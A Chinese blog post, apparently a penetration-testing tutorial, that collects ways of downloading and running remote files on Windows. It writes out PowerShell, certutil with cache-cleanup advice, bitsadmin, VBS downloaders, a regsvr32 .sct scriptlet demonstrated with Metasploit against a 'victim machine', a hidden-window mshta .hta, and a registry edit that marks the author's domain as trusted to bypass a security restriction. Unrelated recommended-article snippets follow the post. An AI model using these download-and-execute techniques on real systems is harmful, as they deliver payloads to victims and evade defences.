Window下的文件下载汇总-未完待续

1.使用 powershell 的 Syetem.Net.WebClient 进行下载

powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/HoldOnToYourHeart/nc/raw/master/calc.exe','C:\Users\31030\Desktop\tools\test\calc.exe')

2.使用 Invoke-WebRequest 进行下载

powershell (Invoke-WebRequest -Uri "https://github.com/HoldOnToYourHeart/nc/raw/cafb11118be48803396d472ca85c3e7c099b4891/calc.exe" -OutFile "C:\Users\31030\Desktop\tools\test\calc2.exe")

3.使用 certutil

注:certutil用于备份证书服务xp-win10都支持,由于certutil下载文件都会留下缓存,所以一般都建议下载完文件后对缓存进行删除。
缓存目录为:"%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content"

#下载文件
certutil -urlcache -split -f https://github.com/HoldOnToYourHeart/nc/raw/master/calc.exe calc3.exe
#删除缓存
certutil -urlcache -split -f https://github.com/HoldOnToYourHeart/nc/raw/master/calc.exe delete

4.使用 bitsadmin

注:bitsadmin是一个命令行工具,可用于创建下载或上载作业并监视其进度
适用范围:"Windows Server (Semi-Annual Channel), Windows Server 2016, Windows Server 2012 R2, Windows Server 2012,Windows 7,Windows 10"

bitsadmin /transfer n https://github.com/HoldOnToYourHeart/nc/raw/master/calc.exe C:\Users\31030\Desktop\tools\test\calc4.exe

5.利用VBS脚本进行下载

注:将其保存为VBS脚本,可直接在CMD中进行运行。再实际运用中可以选择使用echo写入到文件中,在运行

Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim http,ado
Set http = CreateObject("WinHttp.WinHttpRequest.5.1")
http.open "GET","https://github.com/HoldOnToYourHeart/nc/raw/master/calc.exe",False
http.send
Set ado = createobject("Adodb.Stream")
ado.Type = adTypeBinary
ado.Open
ado.Write http.responseBody
ado.SaveToFile "C:\Users\31030\Desktop\tools\test\calc5.exe"
ado.Close
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim http,ado
Set http = CreateObject("Msxml2.ServerXMLHTTP.6.0")
http.SetOption 2, 13056
http.open "GET","https://github.com/HoldOnToYourHeart/nc/raw/master/calc.exe",False
http.send
Set ado = createobject("Adodb.Stream")
ado.Type = adTypeBinary
ado.Open
ado.Write http.responseBody
ado.SaveToFile "C:\Users\31030\Desktop\tools\test\calc6.exe"
ado.Close

6.regsvr32

注:regsvr32表示Microsoft注册服务
语法:Regsvr32 [/s][/u] [/n] [/i[:cmdline]] <dllname>

这里我使用msf来做个演示

msfconsole

客户端执行
regsvr32

受害机已经上线


这里来简单看一下,首先msf是启动了一个服务,并生成了一个.sct文件。并且可以看到,这个文件中使用WScript.shell 去调用了powershell下载并执行另外一段powershell命令。

所以到这里,我们也就可以通过自己构造.sct文件,去下载执行我们的程序。这里我使用的是上面VBS代码去下载的文件。当然我们也可以通过new ActiveXObject("WScript.Shell").Run()去执行命令或者运行程序。
sct文件如下:

<?XML version="1.0"?>
<scriptlet>
    <registration progid="Lwj8h8Cd" classid="{d27b2c13-7e63-b507-eaf0-b4fb4df40559}">
        <script language="VBScript.Encode">
            <![CDATA[ 
                Const adTypeBinary = 1
                Const adSaveCreateOverWrite = 2
                Dim http,ado
                Set http = CreateObject("Msxml2.ServerXMLHTTP.6.0")
                http.SetOption 2, 13056
                http.open "GET","https://github.com/HoldOnToYourHeart/nc/raw/master/calc.exe",False
                http.send
                Set ado = createobject("Adodb.Stream")
                ado.Type = adTypeBinary
                ado.Open
                ado.Write http.responseBody
                ado.SaveToFile "C:\Users\31030\Desktop\tools\test\calc8.exe"
                ado.Close
                ]]>
        </script>
    </registration> 
</scriptlet>

7.mshta

mshta用于执行.hta文件。而hta是HTML Applocation 的缩写,也就是HTML应用程序。而hta中也支持VBS。所以我们可以利用hta来下载文件。
如下:

<HTML> 
<meta http-equiv="x-ua-compatible" content="text/html; charset=utf-8; IE=5">
<HEAD> 
<script language="VBScript.Encode">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim http,ado
Set http = CreateObject("Msxml2.ServerXMLHTTP.6.0")
http.SetOption 2, 13056
http.open "GET","https://github.com/HoldOnToYourHeart/nc/raw/master/calc.exe",False
http.send
Set ado = createobject("Adodb.Stream")
ado.Type = adTypeBinary
ado.Open
ado.Write http.responseBody
ado.SaveToFile "C:\Users\31030\Desktop\tools\test\calc9.exe"
ado.Close
</script>
<body>
test file
</body>
</HEAD> 
</HTML>

这里我把hta文件放到博客中进行测试,mshta提示了错误,其错误原因是我们的域名并不受信任。


而Windows的受信任域名保存在注册表(HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains)中,所以我们可以命令行中直接添加注册表即可

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\holdontoyourheart.github.io" /v https /t REG_DWORD /d 0x00000002 /f

可以看到在注册表中已经添加了我们的域名,并且在Internet中的受信任站点也将我们的域名显示出来。


这个时候我们在去执行一次,可以发现已经成功下载

之所以需要添加到受信任站点,才能执行下载程序的操作是因为Windows本身的安全限制所导致的。所以当我们通过VBScript去下载未信任域名中的程序的时候就会受到限制。

但是我们却可以通过不受信任的域名,使用VBS去执行命令。这里我先将注册表中的信任域名进行删除。然后利用hta文件启动计算器。这里没有任何错误提示
代码如下:

<HTML> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD> 
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD> 
</HTML>

运行效果

所以到这里,我们能够通过mshta去执行命令,那么我们就可以完全不必再局限于通过VBS去进行下载了。这里我们尝试调用powershell去进行下载。
hat代码如下:

<HTML> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD> 
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell (Invoke-WebRequest -Uri 'https://github.com/HoldOnToYourHeart/nc/raw/cafb11118be48803396d472ca85c3e7c099b4891/calc.exe' -OutFile 'C:\Users\31030\Desktop\tools\test\calc10.exe')"
self.close
</script>
<body>
test
</body>
</HEAD> 
</HTML>

运行效果:(由于我没有使用hidden进行隐藏,所以在运行的时候回弹出一个powershell的界面出来)

mshta https://holdontoyourheart.github.io/2019/01/02/Nessus%E6%8A%A5%E5%91%8A%E6%B1%89%E5%8C%96%E7%AF%87%E4%BA%8C/1.hta

8.ftp

首先我在我的win7虚拟机创建了一个ftp服务器。地址为192.168.52.128

ftp_server

然后我在物理机中执行以下命令

#首先将命令使用ehco写入到文件中
echo open 192.168.52.128  >a.txt & echo get calc.exe>>a.txt &echo bye>>a.txt
#使用ftp进行下载,可以看到已经下载成功。
ftp -A -s:a.txt


ftp命令总结参考:https://www.cnblogs.com/judes/p/9674413.html

目前就整理了这些。后续如果有新姿势会继续更新!

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,128评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,316评论 3 388
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,737评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,283评论 1 287
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,384评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,458评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,467评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,251评论 0 269
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,688评论 1 306
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,980评论 2 328
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,155评论 1 342
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,818评论 4 337
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,492评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,142评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,382评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,020评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,044评论 2 352

推荐阅读更多精彩内容

  • CMD命令:开始->运行->键入cmd或command(在命令行里可以看到系统版本、文件系统版本) 下载链接:pa...
    wh_阅读 52,844评论 0 25
  • 个人学习批处理的初衷来源于实际工作;在某个迭代版本有个BS(安卓手游模拟器)大需求,从而在测试过程中就重复涉及到...
    Luckykailiu阅读 4,712评论 0 11
  • 本文由三好学生原创并首发于乌云drops,转载请注明 0x00 前言 在渗透测试的过程中,常常需要向目标主机上传文...
    Eva_chenx阅读 2,637评论 3 7
  • 2015年的最后一天,时间永远回不去的,晚上听师姐说和男朋友跨年,想着年年都可以跨年。但事实上,每个人都只有那么几...
    hanshankangkang阅读 153评论 0 0
  • 我认知的察觉就是通过主观能动的去挖掘深究后得出的发现。就好比人的意识分表意识和潜意识。潜意识是看不到的,要...
    peppy520阅读 216评论 0 0